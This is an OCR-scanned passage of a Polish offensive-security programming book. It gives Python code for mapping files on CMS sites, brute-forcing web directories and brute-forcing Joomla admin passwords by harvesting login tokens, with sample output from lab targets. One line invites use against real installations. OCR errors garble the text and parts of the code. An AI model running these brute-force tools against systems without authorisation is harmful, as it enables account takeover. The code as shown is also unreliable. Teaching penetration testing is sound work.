podobny do pliku obiekt, przy uzyciu ktérego mozemy odezyta¢ dane ze zdalnej
strony internetowe;.
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Skoro mamy podstawowe narzedzie do komunikacji z ustugami sieciowymi
i stronami internetowymi, mozemy stworzy¢ oprzyrzadowanie przydatne do
przeprowadzania atakéw i wykonywania testéw penetracyjnych.

Mapowanie aplikacji sieciowych typu open source

(2]

(3]

Systemy zarzadzania trescig i platformy blogowe, takie jak Joomla, WordPress
i Drupal, bardzo ulatwiaja tworzenie witryn internetowych i mozna je po-
wszechnie spotka¢ na hostingach wspéldzielonych, a nawet w sieciach firmo-
wych. Jak kazdy system, wymienione CMS-y trzeba zainstalowaé, skonfigurowa¢
i aktualizowad. Jesli przepracowany administrator albo bezradny bloger nie do-
pilnuje wszystkich kwestii zwigzanych z bezpieczefistwem, to jego strona inter-
netowa moze stac¢ sie fatwym celem dla hakeréw.

Jako ze kazda aplikacje typu open source mozna pobra¢ na swoj dysk i prze-
bada¢ pod wzgledem struktury plikéw, bez trudu mozemy napisaé¢ specjalny
skaner szukajacy plikéw stanowiacych punkt zaczepienia w docelowym serwi-
sie. W ten spos6b mozna wykry¢ pozostawione pliki instalacyjne, katalogi, ktére
powinny by¢ chronione przez pliki .htaccess, oraz inne niespodzianki pozwala-
jace hakerowi polozy¢ tape na serwerze uzytkownika. W projekcie tym po raz
pierwszy uzyjemy obiektéw Pythona Queue, przy uzyciu ktérych mozna budo-
waé duze bezpieczne pod wzgledem watkéw stosy elementéw przetwarzanych
przez wyznaczone watki. Dzieki ich zastosowaniu nasz skaner bedzie dzialal
bardzo szybko. Utworz plik web_app_mapper.py i wpisz do niego ponizszy kod:

import Queue
import threading
import os

import urllib2

threads 10

target "http://www.test.com"
directory = "/Users/justin/Downloads/joomla-3.1.1"
filters = [".jpg",".gif","png",".css"]

os.chdir(directory)
web_paths = Queue.Queue()

for r,d,f in os.walk("."):
for files in f:
remote_path = "%s/%s" % (r,files)
if remote path.startswith("."):
remote_path = remote path[1:]
if os.path.splitext(files)[1] not in filters:
web_paths.put(remote_path)
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def test remote():
while not web_paths.empty():
path = web_paths.get()
url = "%s%s" % (target, path)

request = urllib2.Request(url)
try:

response = urllib2.urlopen(request)
content = response.read()

print "[%d] => %s" % (response.code,path)
response.close()

except urlTib2.HTTPError as error:
#print "Niepowodzenie %s" % error.code
pass

©® for i in range(threads):

print "Tworzenie watku: %d" % i
t = threading.Thread(target=test_remote)
t.start()

Najpierw zdefiniowalismy adres docelowej strony internetowej @ i lokalny
katalog, do ktérego pobralismy i wypakowalismy aplikacje sieciowq. Ponadto
utworzylismy liste nieinteresujgcych nas rozszerzen plikéw. Oczywidcie jej za-
warto$¢ dla kazdej aplikacji docelowej moze byé inna. Zmienna web_paths @
reprezentuje obiekt Queue do przechowywania plikéw, ktérych bedziemy szukaé¢
na zdalnym serwerze. Nastepnie za pomoca funkcji os.walk ® przegladamy
wszystkie pliki i katalogi w lokalnym katalogu aplikacji sieciowej. W procesie
tym budujemy kompletne Sciezki do plikéw docelowych i poréwnujemy je z lista
filtracyjna, aby wyeliminowaé nieinteresujace nas typy plikéw. Kazdy lokalny
plik spelniajacy nasze wymagania dodajemy do kolejki web_paths.

Na koficu skryptu @ tworzymy kilka watkéw (zgodnie z ustawieniem na po-
czatku skryptu), z ktérych kazdy bedzie wywolywal funkcje test remote. Funk-
cja test_remote dziala w petli, ktéra koficzy wyczerpanie elementéw w kolejce
web_paths. W kazdej iteracji tej petli pobieramy §$ciezke z kolejki @, dodajemy
ja do $ciezki bazowej docelowej witryny, a nastepnie prébujemy ja otworzy¢. Jesli
znajdziemy plik, zwracamy kod statusu HTTP i pelng Sciezke do pliku @. Jezeli
pliku nie uda sie znalez¢ albo jest on chroniony przez plik .htaccess, biblioteka
url1ib2 zglasza btad, ktéry obslugujemy @, aby nie przerywaé dziatania petli.

Czy to w ogdle dziata

Do celéw testowych zainstalowatem w swojej maszynie wirtualnej Kali system
Joomla 3.1.1, ale mozesz uzy¢ dowolnej innej aplikacji open source, kt6rg umiesz
szybko zainstalowaé¢ albo juz masz zainstalowana. Po uruchomieniu skryptu
web_app_mapper.py powinienes ujrzeé nastepujace wyniki:
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Uruchamianie watku:
Uruchamianie watku:
Uruchamianie watku:
Uruchamianie watku:
Uruchamianie watku:
Uruchamianie watku:
Uruchamianie watku:
Uruchamianie watku:
Uruchamianie watku:
Uruchamianie watku: 9

[200] => /htaccess.txt

[200] => /web.config.txt

[200] => /LICENSE.txt

[200] => /README.txt

[200] => /administrator/cache/index.html

[200] => /administrator/components/index.html

[200] => /administrator/components/com_admin/controller.php

[200] => /administrator/components/com admin/script.php

[200] => /administrator/components/com_admin/admin.xm1

[200] => /administrator/components/com_admin/admin.php

[200] => /administrator/components/com_admin/helpers/index.html

[200] => /administrator/components/com_admin/controllers/index.html
[200] => /administrator/components/com admin/index.html

[200] => /administrator/components/com_admin/helpers/html/index.html
[200] => /administrator/components/com admin/models/index.html

[200] => /administrator/components/com_admin/models/profile.php
[200] => /administrator/components/com_admin/controllers/profile.php

ONOYOTP WN RO

Widaé, ze skrypt uzyskat troche wynikéw, wsréd ktérych znajduja sie pliki
tekstowe i XML. Oczywiscie mozesz go rozbudowaé¢ o inne funkcje, np. spowo-
dowaé, aby zwracal tylko interesujace Cie pliki — przyktadowo ze stowem
install w nazwie.

Analizowanie aplikacji metoda sitowa

W poprzednim przykladzie zalozylismy, ze dobrze znamy docelowy aplikacje.
Ale najczesciej atakuje sie aplikacje dostosowane do indywidualnych potrzeb
uzytkownika i duze systemy handlu elektronicznego, ktérych struktura plikéw
jest nam nieznana. Generalnie w takich przypadkach zazwyczaj uzywa sie pajaka
sieciowego, takiego jak dostepny w pakiecie Burp, aby dowiedzieé sie jak naj-
wiecej o danej aplikacji. Ale administratorzy czesto pozostawiajg pliki konfigu-
racyjne, pliki testowe, skrypty diagnostyczne i inne fanty pozwalajace osobom
postronnym dobra¢ sie do poufnych informacji i nieprzeznaczonych dla nich
funkcji. Jedynym sposobem na znalezienie tych dobrodziejstw jest metoda si-
towa, polegajaca na szukaniu plikéw i katalogéw o typowych nazwach.
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Utworzymy proste narzedzie przyjmujace znane listy stéw, np. DirBuster'
czy SVNDigger?, i przy jego uzyciu sprébujemy znalezé¢ dostepne na docelowym
serwerze katalogi i pliki. Tak jak poprzednio, utworzymy pule watkéw, aby agre-
sywnie wykrywaé tresé. Prace zaczniemy od napisania mechanizmu tworzenia
kolejki z listy stow. Utwoérz nowy plik, nazwij go content_bruter.py i wpisz w nim
ponizszy kod:

import urllib2
import urllib
import threading
import Queue

threads =5

target_url = "http://testphp.vulnweb.com"

wordlist file = "/tmp/all.txt" # from SVNDigger

resume = None

user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101

>Firefox/19.0"
def build _wordlist(wordlist_file):

# Wezytuje liste stow

(1] fd = open(wordlist file,"rb")
raw_words = fd.readlines()
fd.close()

found_resume = False
words Queue.Queue()

(2] for word in raw_words:
word = word.rstrip()
if resume is not None:

if found_resume:
words.put (word)
else:
if word == resume:
found_resume = True
print "Wznawianie procesu od: %s" % resume

else:
words.put (word)

return words

' Projekt DirBuster: https://www.owasp.org/index. php/Category:OWASP_DirBuster_Project.

2 Projekt SVNDigger: https://www.mavitunasecurity.com/blog/svn-digger-better-lists-for-forced-browsing/.
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Jest to bardzo prosta funkcja pomocnicza. Wezytujemy plik ze stowami @
i iterujemy przez zawarte w nim linijki tekstu za pomocy petli @. Whudowali-
$my tez funkcje wznawiania procesu po chwilowej utracie polaczenia lub na
wypadek, gdyby docelowa strona na chwile ulegla awarii. Mechanizm ten pole-
ga na ustawieniu zmiennej resume na ostatnig Sciezke sprawdzang przez skrypt.
Po przetworzeniu calego pliku zwracamy kolejke pelng stow, ktora wykorzysta-
my w funkeji wykonujacej rzeczywisty atak. Przedstawiona funkcja bedzie nam
potrzebna nieco pézZniej

Nasz skrypt powinien mie¢ pewne podstawowe funkcje. Pierwsza z nich to
mozliwo$¢é zastosowania listy rozszerzen do przetestowania. Czasami powinno sie
sprawdzaé nie tylko Sciezke /admin, ale i admin.php, admin.inc oraz admin.html.

def dir_bruter(extensions=None):

while not word_queue.empty():
attempt = word_queue.get()

attempt list = []

# Sprawdza, czy jest rozszerzenie pliku
# Jego brak oznacza katalog
if "." not in attempt:

attempt_list.append("/%s/" % attempt)
else:

attempt _Tist.append("/%s" % attempt)
# Jesli chcemy testowad rozszerzenia
if extensions:

for extension in extensions:

attempt _list.append("/%s%s" % (attempt,extension))

# Iteruje przez listg prob
for brute in attempt_Tist:

url = "%s%s" % (target url,urllib.quote(brute))
try:

headers = {}

headers["User-Agent"] = user_agent

r = urllib2.Request (url,headers=headers)

response = urllib2.urlopen(r)

if len(response.read()):
print "[%d] => %s" % (response.code,url)

except urllib2.URLError,e:

if hasattr(e, 'code') and e.code != 404:
print "Il %d => %s" % (e.code,url)

pass
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Funkcja dir_bruter przyjmuje obiekt klasy Queue (kolejke) zawierajacy stowa
do uzycia w ataku i opcjonalnie liste rozszerzen plikéw do przetestowania. Naj-
pierw sprawdzamy, czy aktualne sfowo ma rozszerzenie plikowe @, i jesli nie,
traktujemy dang Sciezke jako katalog do przetestowania na zdalnym serwerze.
Jezeli zostanie przekazana lista rozszerzen plikéw @, to pobieramy biezace sto-
wo i dodajemy do niego kazde z rozszerzen z tej listy. Oprocz typowych rozsze-
rzen jezyk6w programowania warto rozwazy¢ mozliwo$é sprawdzenia takich
rozszerzeh jak .orig i .bak. Po utworzeniu listy préb ataku ustawiamy nagléwek
User-Agent na co$ niewinnego © i testujemy zdalny serwer. Jezeli otrzymamy
kod odpowiedzi 200 @ lub jakikolwiek inny niz 404 @, drukujemy adres URL,
poniewaz to oznacza, ze w danym miejscu na serwerze moze byé co§ ciekawego.

Warto przygladaé sie otrzymywanym wynikom i odpowiednio na nie reagowad,
poniewaz w zaleznosci od konfiguracji serwera moze by¢ konieczne odfiltrowa-
nie wiekszej liczby kodéw bledu HTTE, aby oczy$cié otrzymane informacje. Na
zakonczenie skryptu utworzymy listy stéw i rozszerzen oraz uruchomimy watki
procesu ataku.

word_queue = build_wordlist(wordlist file)
extensions = [".php",".bak",".orig",".inc"]

for i in range(threads):
t = threading.Thread(target=dir_bruter,args=(word_queue,extensions,))
t.start()

Ten kod jest bardzo prosty i powiniene$ go juz znaé. Pobieramy liste stéw,
tworzymy prostg liste rozszerzen, a nastepnie uruchamiamy kilka watkéw, w kt6-
rych przeprowadzany bedzie atak.

Czy to w ogdle dziata

OWASP posiada liste internetowych i nieinternetowych (maszyny wirtualne,
obrazy ISO itd.) aplikacji sieciowych podatnych na ataki, na ktérych mozemy
przetestowaé nasze narzedzie. Uzyty w przykladzie adres URL wskazuje celowo
7Zle zabezpieczong aplikacje sieciowa hostowang przez Acunetix. Dzieki niej mo-
zemy sie dowiedzied, jak efektywna jest nasza metoda ataku. Zalecam ustawienie
jakiej$ rozsadnej liczby watkéw, np. 5, i uruchomienie skryptu. Po chwili po-
winny zaczaé pojawia¢ sie wyniki podobne do ponizszych:

[200] => http://testphp.vulnweb.com/CVS/

[200] => http://testphp.vulnweb.com/admin/

[200] => http://testphp.vulnweb.com/index.bak
[200] => http://testphp.vulnweb.com/search.php
[200] => http://testphp.vulnweb.com/Togin.php
[200] => http://testphp.vulnweb.com/images/

[200] => http://testphp.vulnweb.com/index.php
[200] => http://testphp.vulnweb.com/Togout.php
[200] => http://testphp.vulnweb.com/categories.php

Rozdziat 5



Jak wida¢, udalo nam sie zdobyé¢ troche ciekawych informacji. Nie musze
chyba thumaczyé, jak wazne jest wykonanie takiego ataku na wszystkich doce-
lowych aplikacjach.

Ataki sitowe na formularze uwierzytelniania

Kiedy$ moze sie zdarzy¢ tak, ze bedziesz potrzebowaé dostepu do miejsca do-
celowego albo, jesli jeste$ konsultantem, bedziesz miat za zadanie oceni¢ sile ha-
sta w istniejgcym systemie sieciowym. Coraz wiecej systeméw stosuje ochrone
przed atakami sitowymi, np. zabezpieczenia capicha, proste réwnania matema-
tyczne lub tokeny logowania, ktére trzeba przestaé w zadaniu. Istniejg narzedzia
potrafigce wykonywaé ataki przy uzyciu zgdan POST na skrypty logowania, ale
wielu z nich brak elastyczno$ci do wspétpracy z dynamiczng trescig lub pora-
dzenia sobie z prostymi testami czlowieczenstwa. Utworzymy proste narzedzie
do przeprowadzania sitowych atakéw na popularny system do zarzadzania trescia
Joomla. Nowe wersje tego systemu zawieraja podstawowe zabezpieczenia przed
tego typu atakami, ale nie maja domyslnych blokad kont ani testéw captcha.

Aby ztama¢ Joomle silg, musimy spetni¢ dwa warunki: pobra¢ token logowa-
nia z formularza logowania przed wystaniem hasta oraz sprawdzié, czy akceptu-
jemy ciasteczka w sesji ur11ib2. Do analizy wartoSci formularza logowania wyko-
rzystamy macierzystg klase Pythona HTMLParser. Przy okazji zrobimy blyskawiczny
przeglad dodatkowych narzedzi biblioteki ur11ib2 przydatnych przy budowaniu
narzedzi do wlasnych potrzeb. Zaczniemy od przyjrzenia sie formularzowi logo-
wania Joomli. Mozna go znalezé pod adresem hitp://<adresstrony> .pl/administrator.
Dla uproszczenia ponizej przedstawiam tylko interesujace nas elementy.

<form action="/administrator/index.php" method="post" id="form-login"
>class="form-inline">

<input name="username" tabindex="1" id="mod-Togin-username" type="text"
>class="input-medium" placeholder="User Name" size="15"/>

<input name="passwd" tabindex="2" id="mod-login-password" type="password"
>class="input-medium" placeholder="Password" size="15"/>

<select id="Tang" name="lang" class="inputbox advancedSelect">
<option value="" selected="selected">Language - Default</option>
<option value="en-GB">English (United Kingdom)</option>

</select>

<input type="hidden" name="option" value="com login"/>

<input type="hidden" name="task" value="login"/>

<input type="hidden" name="return" value="aW5kZXgucGhw" />

<input type="hidden" name="1796bae450f8430ba0d2del1656f3e0ec" value="1" />

</form>
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Z formularza tego mozemy wydoby¢ troche cennych informacji, ktére przy-
dadzg sie nam w naszym skrypcie. Po pierwsze zawartosé pol jest wysylana do
pliku /administrator/index.php w zadaniu HTTP POST. Mamy tez liste wszystkich
pol formularza. W szczegblnosci spéjrz na ostatnie ukryte pole, ktérego atrybut
name zawiera dlugi ciag losowych znakéw. Jest to podstawowy sktadnik zabez-
pieczenia Joomli przed atakami sitowymi. FLanicuch ten jest poréwnywany z bie-
zacq sesja uzytkownika zapisang w ciasteczku i nawet jesli przekaze sie poprawne
dane uwierzytelniajace, brak tego tokenu uniemozliwia zalogowanie. Oznacza
to, ze w naszym skrypcie atakujacym musimy zastosowa¢ nastepujaca strategie:

1. pobranie strony logowania i zaakceptowanie wszystkich ciasteczek,
2. wydobycie z kodu HTML wszystkich elementéw formularza,

3. ustawienie nazwy uzytkownika i hasta do odgadniecia ze stownika,
4

. wyslanie zadania HTTP POST do skryptu przetwarzajacego dane
z formularza zawierajacego wszystkie pola HTML i zapisane ciasteczka,

5. sprawdzenie, czy udalo sie zalogowaé w aplikacji.

W skrypcie tym wykorzystamy kilka nowych i bardzo cennych technik. Przy
okazji ostrzegam, ze nie warto ,,szkoli¢” swoich narzedzi na prawdziwych obiek-
tach. Zawsze powinno sie stworzyé wlasne analogiczne $rodowisko ze znanymi
danymi poswiadczajacymi, aby mée sprawdzié, czy otrzymywane sg poprawne
wyniki. Utw6rz nowy plik Pythona o nazwie joomla_killer.py i wpisz do niego
ponizszy kod:

import urllib2
import urllib
import cookielib
import threading
import sys
import Queue

from HTMLParser import HTMLParser

# ustawienia 0gdlne

user_thread = 10

username = "admin"
wordlist file = "/tmp/cain.txt"
resume = None

# ustawienia dotyczqce celu ataku

O target url = "http://192.168.112.131/administrator/index.php"
target _post = "http://192.168.112.131/administrator/index.php"
® username_field= "username"
password field= "passwd"
® success_check = "Administracja - panel sterowania"
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Ustawienia ogélne wymagaja dodatkowych objasnien. Zmienna target ur]
@ zawiera adres, spod ktérego nasz skrypt ma pobra¢ kod HTML do analizy.
Zmienna target _post zawiera adres, pod ktérym bedziemy wykonywaé proby
ataku. Na podstawie przeprowadzonej wezesniej analizy kodu HTML formularza
logowania Joomli wiemy, jak ustawi¢ zmienne username_field i password field @.
Zmienna success_check @ jest faicuchem, ktéry bedziemy sprawdzaé po kazdej
probie ataku, aby dowiedzieé sie, czy atak ten sie udal, czy nie. Teraz napi-
szemy kod do przeprowadzania samych atakéw. Niektore czesci sa Ci juz znane,
wiec szezegotowo opisuje tylko to, co jest w nim nowe.

class Bruter(object):
def __init_ (self, username, words):

self.username = username
self.password_q = words
self.found = False

print "Zakoiczono konfiguracje dla: %s" % username
def run_bruteforce(self):
for i in range(user_thread):
t = threading.Thread(target=self.web_bruter)
t.start()
def web_bruter(self):
while not self.password g.empty() and not self.found:
brute = self.password g.get().rstrip()
jar = cookielib.FileCookiedar("cookies")
opener = url1ib2.build_opener(url1ib2.HTTPCookieProcessor(jar))
response = opener.open(target_url)
page = response.read()

9

print "Sprawdzanie: %s : %s (pozostato: %d)" % (self.username,
“>brute,self.password q.qsize())

# wydobycie ukrytych pol

parser = BruteParser()

parser.feed(page)

post_tags = parser.tag_results

# dodanie naszych pol nazwy uzytkownika i hasta
post_tags[username_field] = self.username

post_tags[password field] = brute

Togin_data = urllib.urlencode(post_tags)

Hakowanie aplikacji sieciowych 91



login_response = opener.open(target post, login_data)

Togin_result = Togin_response.read()

(5] if success_check in Togin_result:
self.found = True

print "[*] Atak udany."

print "[*] Nazwa uzytkownika: %s" % username

print "[*] Hasto: %s" % brute

print "[*] Oczekiwanie na zakoiczenie pracy przez pozostate
Swatki..."

Klasa ta zawiera gtéwny mechanizm atakowania, ktéry wykonuje zadania
HTTP i obsluguje ciasteczka. Najpierw pobieramy prébe hasta i tworzymy po-
jemnik z ciastkami @ przy uzyciu klasy FileCookiedar, ktéra zapisze ciasteczka
w pliku cookies. Nastepnie inicjujemy otwieracz ur11ib2, przekazujac zainicjo-
wany pojemnik z ciastkami, dzieki czemu biblioteka ur11ib2 bedzie przekazywaé
do niego wszystkie ciasteczka. Pézniej wysylamy pierwsze Zadanie, aby pobraé
formularz logowania. Zdobyty surowy kod HTML przekazujemy do parsera
i wywolujemy jego metode feed @ zwracajaca stownik wszystkich elementéw
formularza. Po zakoficzeniu analizy skladniowej kodu HTML zastepujemy pola
nazwy uzytkownika i hasta naszymi prébami ataku ©. Potem kodujemy w adre-
sie URL zmienne POST @ i przekazujemy je w nastepnym zadaniu HTTP. Po
odebraniu wyniku préby uwierzytelnienia sprawdzamy, czy préba ta zakonczyta
sie powodzeniem @. Teraz zaimplementujemy rdzefi mechanizmu analizy skla-
dniowej kodu HTML. Dodaj do skryptu joomla_killer.py ponizsza klase:

class BruteParser(HTMLParser):

def __init_ (self):
HTMLParser. init_ (self)
(1] self.tag_results = {}

def handle_starttag(self, tag, attrs):
(2] if tag == "input":
tag_name = None
tag_value = None
for name,value in attrs:

if name == "name":
(3] tag_name = value
if name == "value":
o tag_value = value

if tag_name is not None:
(5] self.tag_results[tag name] = value
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Jest to klasa do analizy kodu HTML, za pomocg ktérej bedziemy badaé for-
mularz docelowy. Kiedy poznasz zasade jej dzialania, bedziesz mégt ja dostoso-
waé do pobierania danych z kazdej innej aplikacji sieciowej, ktorg zechcesz za-
atakowaé. Pierwsza czynno$cig jest utworzenie stlownika do przechowywania
wynikéw @. Funkcja feed wprowadza do skryptu caly dokument HTML, a funkcja
handle_starttag jest wywolywana dla kazdego napotkanego znacznika. Nas in-
teresuja, znaczniki input @ i tylko dla nich wlgczamy gl6wne mechanizmy prze-
twarzania. Przetwarzanie rozpoczynamy od iteracji przez atrybuty znalezionego
znacznika i jesli znajdziemy atrybut name ® lub value @, dodajemy je do stownika
tag_results @. Po przetworzeniu kodu HTML nasza klasa atakujaca zamienia
pola nazwy uzytkownika i hasta, reszte formularza pozostawiajac bez zmian.

PODSTAWY KLASY HTMLPARSER

Trzy najwazniejsze metody, ktére mozna zaimplementowad, uzywajac klasy
HTMLParser, to: handle_starttag, handle_endtag oraz handle_data. Funkcja
handle starttag jest wywotywana po napotkaniu otwierajacego znacznika
HTML, a funkcja handle_endtag — po napotkaniu znacznika zamykajgcego.
Natomiast funkcja handle data jest wywotywana, gdy miedzy znacznikami
znajduje sie surowy tekst. Kazda z tych funkcji ma nieco inny prototyp:

handle_starttag(self, tag, attributes)
handle_endttag(self, tag)
handle data(self, data)

Oto prosty przyktad uzycia kazdej z nich:

<title>Python jest najlepszy!</title>
handle_starttag => zmienna tag zawierataby wartoSc "title"

handle_data => zmienna data zawierataby wartoS¢ "Python jest najlepszy!"
handle_endtag => zmienna tag zawierataby wartoSc "title"

Przy uzyciu tej podstawowej wiedzy o klasie HTMLParser mozna analizo-
wac sktadnie formularzy, znajdowac¢ odnosniki do indeksowania, wydobywac
czysty tekst w celu zdobycia informacji oraz wyszukiwa¢ obrazy na stronach.

Na zakoriczenie naszego skryptu skopiujemy funkcje build wordlist z po-
przedniego przykladu i dodamy ponizszy fragment kodu:
# Tu wklej funkcje build_wordlist
words = build wordlist(wordlist file)

bruter_obj = Bruter(username,words)
bruter_obj.run_bruteforce()
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To wszystko! Teraz wystarczy przekazaé¢ do naszego skryptu nazwe uzytkow-
nika i liste stéw, a klasa Bruter zrobi, co do niej nalezy.

Czy to w ogdle dziata

Jesli nie zainstalowale$ jeszcze Joomli w maszynie wirtualnej Kali, to powi-
niene$ to zrobi¢ teraz. Moja maszyna docelowa znajduje sie pod adresem
192.168.112.131 i uzywam listy sléw programu Cain and Abel> — popularnego
narzedzia do sitowego tamania hasel. W swojej testowej Joomli ustawilem na-
zwe uzytkownika admin i hasto justin. Potem dodatem stowo justin do listy stow
w pliku cain.txt gdzie§ mniej wiecej w okolicy 50. linijki. Po uruchomieniu
skryptu otrzymalem nastepujace wyniki:

$ python2.7 joomla killer.py

Zakoiiczono konf1gurac3e dla: admin

Sprawdzanie: admin : Orac138 (pozostato: 306697)
Sprawdzanie: admin : !@#$% (pozostato: 306697)
Sprawdzanie: admin : !@#$%™ (pozostato: 306697)
--pominiecie--

Sprawdzanie: admin : 1p203i (pozostato: 306659)
Sprawdzanie: admin : 1qw23e (pozostato: 306657)
Sprawdzanie: admin : 1q2w3e (pozostato: 306656)
Sprawdzanie: admin : lsanjose (pozostato: 306655)
Sprawdzanie: admin : 2 (pozostato: 306655)
Sprawdzanie: admin : justin (pozostato: 306655)
Sprawdzanie: admin : 2112 (pozostato: 306646)

[*] Atak udany.

[*] Nazwa uzytkownika: admin

[*] Hasto: justin

[*] Oczekiwanie na zakoficzenie pracy przez pozostate watki...
Sprawdzanie: admin : 249 (pozostato: 306646)
Sprawdzanie: admin : 2welcome (pozostato: 306646)

Jak wida¢, skrypt znalazl hasto i zalogowal sie do konsoli administracyjnej
Joomli. Oczywi$cie mozna sie jeszcze upewnid, czy wszystko dobrze dziala,
logujac sie recznie. Gdy testy lokalne wypadng pomy§lnie i uzyskasz pewnosé,
ze skrypt nie zawiera bledéw, mozesz go wykorzysta¢ do ztamania zabezpieczen
prawdziwej instalacji Joomli.

3 Cain and Abel: hitp://www.oxid.it/cain.html.
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Rozszerzanie
narzedzi Burp

JESLI KIEDYKOLWIEK PROBOWALES ZEAMAC ZABEZPIECZENIA JAKIEJS APLIKAC]T
SIECIOWE], TO ISTNIEJE WYSOKIE PRAWDOPODOBIENSTWO, ZE UZYWALES NARZEDZI
BURP DO PRZESZUKIWANIA STRON, PRZECHWYTYWANIA RUCHU PRZEGLADARKI
i wykonywania r6znego rodzaju innych atakéw. W najnowszych wersjach pakietu
Burp dodano mozliwo$¢ tworzenia wlasnych narzedzi w postaci rozszerzen. Jesli
znasz jezyk Python, Ruby lub Java, to mozesz dodawa¢ do GUI Burpa okienka
oraz tworzy¢ narzedzia automatyzacji. Wykorzystamy te mozliwo$é do dodania
narzedzi umozliwiajacych wykonywanie atakéw i przeprowadzanie rozszerzonych
zwiad6w. Pierwsze narzedzie umozliwi nam wykorzystanie przechwyconego za-
dania HTTP z serwera Burp Proxy jako ziarna do utworzenia fuzzera mutacyjnego,
ktéry bedzie mozna uruchomié¢ w Burp Intruderze. Drugie rozszerzenie bedzie
wykorzystywaé interfejs API wyszukiwarki Microsoft Bing, aby zdoby¢ informacje
o wszystkich wirtualnych hostach znajdujacych sie pod tym samym adresem IP
co nasza witryna docelowa oraz wszystkich wykrytych poddomenach docelowe;j
domeny.

Zaktadam, Ze znasz juz narzedzia Burp oraz wiesz, jak przechwytywa¢ zada-
nia za pomoca narzedzia Proxy i jak wysylaé przechwycone Zadania do Burp
Intrudera. Jesli szukasz poradnika na ten temat, zacznij od strony internetowej
PortSwigger Web Security (hittp://www.portswiggernet/).


http://www.portswigger.net/

Musze przyznaé, ze aby zrozumieé zasade dziatania API Burp Extender,
musialem poswiecié troche czasu. Znam sie przede wszystkim na Pythonie,
wiec wiele rzeczy typowych dla Javy bylo dla mnie niejasnych. Ale znalaztem
kilka rozszerzen napisanych przez innych uzytkownik6éw i to mi pomoglo zaczaé
tworzy¢ wlasne dodatki. Ponizej opisuje podstawy tworzenia rozszerzen i dodat-
kowo pokaze Ci, jak korzysta¢ z dokumentacji interfejsu API jako przewodnika.

Wstepna konfiguracja

Najpierw pobierz pakiet Burp ze strony hitp://www.portswigger.net/. Niestety aby
to dziatalo, musisz zainstalowaé nowg wersje Javy, ktéra jest dostepna lub mozliwa
do zainstalowania we wszystkich systemach operacyjnych. Kolejng czynnoscig
jest zdobycie samodzielnego pliku JAR Jythona (implementacji Pythona napisane;j
w Javie). Wskazemy Burpowi jego lokalizacje. Plik ten znajdziesz na serwerze FTP
wydawnictwa Helion (http://www.helion.pl/ksiazki/blahap.htm) w paczce z pozo-
stalymi plikami z kodem zrédlowym, a takze na oficjalnej stronie pod adresem
http:/www.jython.org/downloads.html — nalezy wybraé plik Jython 2.7 Stan-
dalone Jar. Zapisz plik w atwym do zapamietania miejscu, np. na pulpicie.
Nastepnie uruchom konsole i uruchom program Burp:

#> java -XX:MaxPermSize=1G -jar burpsuite pro v1.6.jar

Spowoduje to uruchomienie Burpa i wyswietlenie jego pieknego pelnego
kart interfejsu, jak widaé na rysunku 6.1.

Teraz wskazemy Burpowi miejsce przechowywania interpretera Jython.
Kliknij karte Extender (rozszerzenia), a na niej przejdz na karte Options (opcje).
W sekcji Python Environment (Srodowisko Pythona) wybierz lokalizacje swojego
pliku JAR Jythona, jak pokazano na rysunku 6.2.

Pozostate ustawienia mozesz pozostawi¢ bez zmian. Teraz wszystko powinno
by¢ gotowe do rozpoczecia pracy nad pierwszym rozszerzeniem. Zaczynamy!

Fuzzing przy uzyciu Burpa
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Kiedys mozesz natrafi¢ na aplikacje lub ustuge sieciowa, ktérej nie bedzie sie
dalo rozgryzé przy uzyciu zwyklych narzedzie analitycznych. Niezaleznie od
tego, czy pracujesz z danymi przesylanymi przy uzyciu binarnego protokotu
opakowanego w ruch HTTE czy skomplikowanymi zadaniami danych w formacie
JSON, musisz mie¢ mozliwosé wyszukiwania typowych bledéw pojawiajacych
sie w aplikacjach sieciowych. Aplikacja moze uzywaé zbyt wielu parametréow
lub by¢ zaciemniona w taki spos6b, ze reczne testowanie zajetoby o wiele za duzo
czasu. Sam tez niejednokrotnie uzywalem standardowych narzedzi w sytuacjach,
gdy trzeba bylo pracowaé z dziwnymi protokotami lub danymi w formacie JSON.
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Burp Suite Professional v1.6 - licensed to [single user license]

Burp Intruder Repeater Window Help
_[ Target | Proxy | Spider TS(anner T Intruder T Repeater T Seguencer T Decoder T Comparer T Extender TOpt\uns TAIErts }
_[ Site map T Scope ]
[ Fiter: Hiding not found items; hiding C55, image and general binary content; hiding 4xx responses; hiding empty folders @
Host | Method | URL | Params | Status & | Length | MIME type | Title
ELS — —
Reguest Response
Raw  Hex
i
r
e
v
? < + > Type a searc 0 matches

Rysunek 6.1. Interfejs uzytkownika programu Burp Suite

@
@

These settings let you configure the environment for executing extensions that are written in Python. To use Python extensions,
you will need to download Jython, which is a Python interpreter implemented in Java.

Laocation of Jython standalone JAR file:

fUsers/justinfsvn/BHP/code[Chapter&/jython-standalone-2.7-t Select file ...

Folder for loading modules {optional)

Select folder ...

Rysunek 6.2. Okreslanie lokalizacji interpretera Jythona

W takich przypadkach przydaje sie umiejetnosé wykorzystania Burpa do usta-
nowienia podstawowego ruchu HTTP, z ciasteczkami uwierzytelniajacymi
wlacznie, i przekazywania tresci zadan do wlasnego fuzzera, ktéry moze potem
manipulowa¢ danymi w dowolny sposéb. W tym podrozdziale utworzymy nasze
pierwsze rozszerzenie, ktére bedzie najprostszym na $wiecie fuzzerem aplikacji
sieciowych. Potem mozesz go rozbudowaé o bardziej inteligentne rozwigzania.
Burp zawiera kilka narzedzi przydatnych przy testowaniu aplikacji siecio-
wych. Najczesciej wykorzystuje sie narzedzie Proxy do przechwytywania wszyst-
kich zadan, a gdy zauwazy sie co$ ciekawego, przekazuje sie je do innego narzedzia
z pakietu. W swojej pracy czesto wysylam takie dane do narzedzia Repeater,
ktére umozliwia odtworzenie ruchu sieciowego i zmodyfikowanie wybranych
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(2]

elementéw. Jesli trzeba wykonaé bardziej zautomatyzowany atak w parametrach
zapytan, nalezy wysta¢ zadanie do narzedzia Intruder, ktére prébuje automa-
tycznie wykryé obszary ruchu do zmodyfikowania, a nastepnie pozwala zasto-
sowaé wiele réznych atakéw w celu zdobycia informacji o bledach albo znale-
zienia stabych punktéw. Rozszerzenie programu Burp moze wspoélpracowaé na
r6zne sposoby ze standardowymi narzedziami tego pakietu. My na przyktad
polaczymy nasza funkcjonalno$é¢ z Intruderem.

Moim pierwszym odruchem jest przejrzenie dokumentacji Burpa, aby do-
wiedzie¢ sie, ktére klasy musze rozszerzy¢ przy tworzeniu wlasnego rozszerzenia.
